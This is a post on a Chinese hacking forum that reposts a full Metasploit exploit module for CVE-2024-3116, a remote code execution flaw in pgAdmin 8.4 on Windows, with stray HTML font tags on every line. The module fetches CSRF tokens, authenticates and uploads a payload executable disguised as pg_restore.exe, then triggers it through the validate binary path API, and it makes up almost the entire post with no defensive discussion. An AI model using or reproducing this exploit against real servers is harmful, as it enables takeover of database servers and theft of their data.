黑客仓库

最全面知识的黑客论坛,全网最强大的漏洞数据聚合仓库丨黑客网站丨黑客论坛丨暗网丨红队武器库丨渗透测试丨POC/0day/Nday/1day丨网络安全丨黑客攻击丨服务器安全防御丨渗透测试入门丨网络技术交流丨蓝队丨护网丨红队丨欢迎来到黑客仓库,您可以在我们的论坛板块进行交流和学习。

立即注册账号!
hackersec

POC pgAdmin 8.4 远程代码执行漏洞

hackersec已验证会员

黑客倉庫站長

管理成员
贡献: 1%
注册
09 9, 2024
消息
7
完整目标pgAdmin 8.4 远程代码执行漏洞 [重点]
添加日期2024 年 8 月 29 日
类别远程攻击
关于windows
描述pgAdmin 8.4 及以下版本通过验证二进制路径 API 受到远程代码执行漏洞的影响。此漏洞允许攻击者在托管 PGAdmin 的服务器上执行任意代码,对数据库管理系统的完整性和底层数据的安全性构成严重风险。
漏洞编号CVE-2024-3116
发布人黑客仓库

HTML:
##<font></font>
# This module requires Metasploit: https://metasploit.com/download<font></font>
# Current source: https://github.com/rapid7/metasploit-framework<font></font>
##<font></font>
<font></font>
class MetasploitModule < Msf::Exploit::Remote<font></font>
  Rank = ExcellentRanking<font></font>
<font></font>
  prepend Msf::Exploit::Remote::AutoCheck<font></font>
  include Msf::Exploit::Remote::HttpClient<font></font>
  include Msf::Exploit::FileDropper<font></font>
  include Msf::Exploit::EXE<font></font>
<font></font>
  def initialize(info = {})<font></font>
    super(<font></font>
      update_info(<font></font>
        info,<font></font>
        'Name' => 'pgAdmin Binary Path API RCE',<font></font>
        'Description' => %q{<font></font>
          pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)<font></font>
          vulnerability through the validate binary path API. This vulnerability<font></font>
          allows attackers to execute arbitrary code on the server hosting PGAdmin,<font></font>
          posing a severe risk to the database management system's integrity and the security of the underlying data.<font></font>
<font></font>
          Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.<font></font>
        },<font></font>
        'License' => MSF_LICENSE,<font></font>
        'Author' => [<font></font>
          'M.Selim Karahan', # metasploit module<font></font>
          'Mustafa Mutlu', # lab prep. and QA<font></font>
          'Ayoub Mokhtar' # vulnerability discovery and write up<font></font>
        ],<font></font>
        'References' => [<font></font>
          [ 'CVE', '2024-3116'],<font></font>
          [ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],<font></font>
          [ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']<font></font>
        ],<font></font>
        'Platform' => ['windows'],<font></font>
        'Arch' => ARCH_X64,<font></font>
        'Targets' => [<font></font>
          [ 'Automatic Target', {}]<font></font>
        ],<font></font>
        'DisclosureDate' => '2024-03-28',<font></font>
        'DefaultTarget' => 0,<font></font>
        'Notes' => {<font></font>
          'Stability' => [ CRASH_SAFE, ],<font></font>
          'Reliability' => [ REPEATABLE_SESSION, ],<font></font>
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]<font></font>
        }<font></font>
      )<font></font>
    )<font></font>
    register_options(<font></font>
      [<font></font>
        Opt::RPORT(8000),<font></font>
        OptString.new('USERNAME', [ false, 'User to login with', '']),<font></font>
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),<font></font>
        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/'])<font></font>
      ]<font></font>
    )<font></font>
  end<font></font>
<font></font>
  def check<font></font>
    version = get_version<font></font>
    return CheckCode::Unknown('Unable to determine the target version') unless version<font></font>
    return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.5')<font></font>
<font></font>
    CheckCode::Vulnerable("pgAdmin version #{version} is affected")<font></font>
  end<font></font>
<font></font>
  def set_csrf_token_from_login_page(res)<font></font>
    if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/<font></font>
      @csrf_token = Regexp.last_match(1)<font></font>
      # at some point between v7.0 and 7.7 the token format changed<font></font>
    elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)<font></font>
      @csrf_token = element['value']<font></font>
    end<font></font>
  end<font></font>
<font></font>
  def set_csrf_token_from_config(res)<font></font>
    if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/<font></font>
      @csrf_token = Regexp.last_match(1)<font></font>
      # at some point between v7.0 and 7.7 the token format changed<font></font>
    else<font></font>
      @csrf_token = res.body.scan(/pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'/)&.flatten&.first<font></font>
    end<font></font>
  end<font></font>
<font></font>
  def auth_required?<font></font>
    res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'keep_cookies' => true)<font></font>
    if res&.code == 302 && res.headers['Location']['login']<font></font>
      true<font></font>
    elsif res&.code == 302 && res.headers['Location']['browser']<font></font>
      false<font></font>
    end<font></font>
  end<font></font>
<font></font>
  def on_windows?<font></font>
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)<font></font>
    if res&.code == 200<font></font>
      platform = res.body.scan(/pgAdmin\['platform'\]\s*=\s*'([^']+)';/)&.flatten&.first<font></font>
      return platform == 'win32'<font></font>
    end<font></font>
  end<font></font>
<font></font>
  def get_version<font></font>
    if auth_required?<font></font>
      res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)<font></font>
    else<font></font>
      res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/'), 'keep_cookies' => true)<font></font>
    end<font></font>
    html_document = res&.get_html_document<font></font>
    return unless html_document && html_document.xpath('//title').text == 'pgAdmin 4'<font></font>
<font></font>
    # there's multiple links in the HTML that expose the version number in the [X]XYYZZ,<font></font>
    # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27<font></font>
    versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }<font></font>
    return unless versioned_link<font></font>
<font></font>
    Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")<font></font>
  end<font></font>
<font></font>
  def csrf_token<font></font>
    return @csrf_token if @csrf_token<font></font>
<font></font>
    if auth_required?<font></font>
      res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)<font></font>
      set_csrf_token_from_login_page(res)<font></font>
    else<font></font>
      res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)<font></font>
      set_csrf_token_from_config(res)<font></font>
    end<font></font>
    fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token<font></font>
    @csrf_token<font></font>
  end<font></font>
<font></font>
  def exploit<font></font>
    if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?)<font></font>
      fail_with(Failure::BadConfig, 'The application requires authentication, please provide valid credentials')<font></font>
    end<font></font>
<font></font>
    if auth_required?<font></font>
      res = send_request_cgi({<font></font>
        'uri' => normalize_uri(target_uri.path, 'authenticate/login'),<font></font>
        'method' => 'POST',<font></font>
        'keep_cookies' => true,<font></font>
        'vars_post' => {<font></font>
          'csrf_token' => csrf_token,<font></font>
          'email' => datastore['USERNAME'],<font></font>
          'password' => datastore['PASSWORD'],<font></font>
          'language' => 'en',<font></font>
          'internal_button' => 'Login'<font></font>
        }<font></font>
      })<font></font>
<font></font>
      unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')<font></font>
        fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')<font></font>
      end<font></font>
<font></font>
      print_status('Successfully authenticated to pgAdmin')<font></font>
    end<font></font>
<font></font>
    unless on_windows?<font></font>
      fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!')<font></font>
    end<font></font>
    file_name = 'pg_restore.exe'<font></font>
    file_manager_upload_and_trigger(file_name, generate_payload_exe)<font></font>
  rescue ::Rex::ConnectionError<font></font>
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")<font></font>
  end<font></font>
<font></font>
  # file manager code is copied from pgadmin_session_deserialization module<font></font>
<font></font>
  def file_manager_init<font></font>
    res = send_request_cgi({<font></font>
      'uri' => normalize_uri(target_uri.path, 'file_manager/init'),<font></font>
      'method' => 'POST',<font></font>
      'keep_cookies' => true,<font></font>
      'ctype' => 'application/json',<font></font>
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },<font></font>
      'data' => {<font></font>
        'dialog_type' => 'storage_dialog',<font></font>
        'supported_types' => ['sql', 'csv', 'json', '*'],<font></font>
        'dialog_title' => 'Storage Manager'<font></font>
      }.to_json<font></font>
    })<font></font>
<font></font>
    unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir'))<font></font>
      fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder')<font></font>
    end<font></font>
<font></font>
    return trans_id, home_folder<font></font>
  end<font></font>
<font></font>
  def file_manager_upload_and_trigger(file_path, file_contents)<font></font>
    trans_id, home_folder = file_manager_init<font></font>
<font></font>
    form = Rex::MIME::Message.new<font></font>
    form.add_part(<font></font>
      file_contents,<font></font>
      'application/octet-stream',<font></font>
      'binary',<font></font>
      "form-data; name=\"newfile\"; filename=\"#{file_path}\""<font></font>
    )<font></font>
    form.add_part('add', nil, nil, 'form-data; name="mode"')<font></font>
    form.add_part(home_folder, nil, nil, 'form-data; name="currentpath"')<font></font>
    form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')<font></font>
<font></font>
    res = send_request_cgi({<font></font>
      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),<font></font>
      'method' => 'POST',<font></font>
      'keep_cookies' => true,<font></font>
      'ctype' => "multipart/form-data; boundary=#{form.bound}",<font></font>
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },<font></font>
      'data' => form.to_s<font></font>
    })<font></font>
    unless res&.code == 200 && res.get_json_document['success'] == 1<font></font>
      fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')<font></font>
    end<font></font>
<font></font>
    upload_path = res.get_json_document.dig('data', 'result', 'Name')<font></font>
    register_file_for_cleanup(upload_path)<font></font>
    print_status("Payload uploaded to: #{upload_path}")<font></font>
<font></font>
    send_request_cgi({<font></font>
      'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),<font></font>
      'method' => 'POST',<font></font>
      'keep_cookies' => true,<font></font>
      'ctype' => 'application/json',<font></font>
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },<font></font>
      'data' => {<font></font>
        'utility_path' => upload_path[0..upload_path.size - 16]<font></font>
      }.to_json<font></font>
    })<font></font>
<font></font>
    true<font></font>
  end<font></font>
<font></font>
end<font></font>
<font></font>
 
最后编辑:
后退
顶部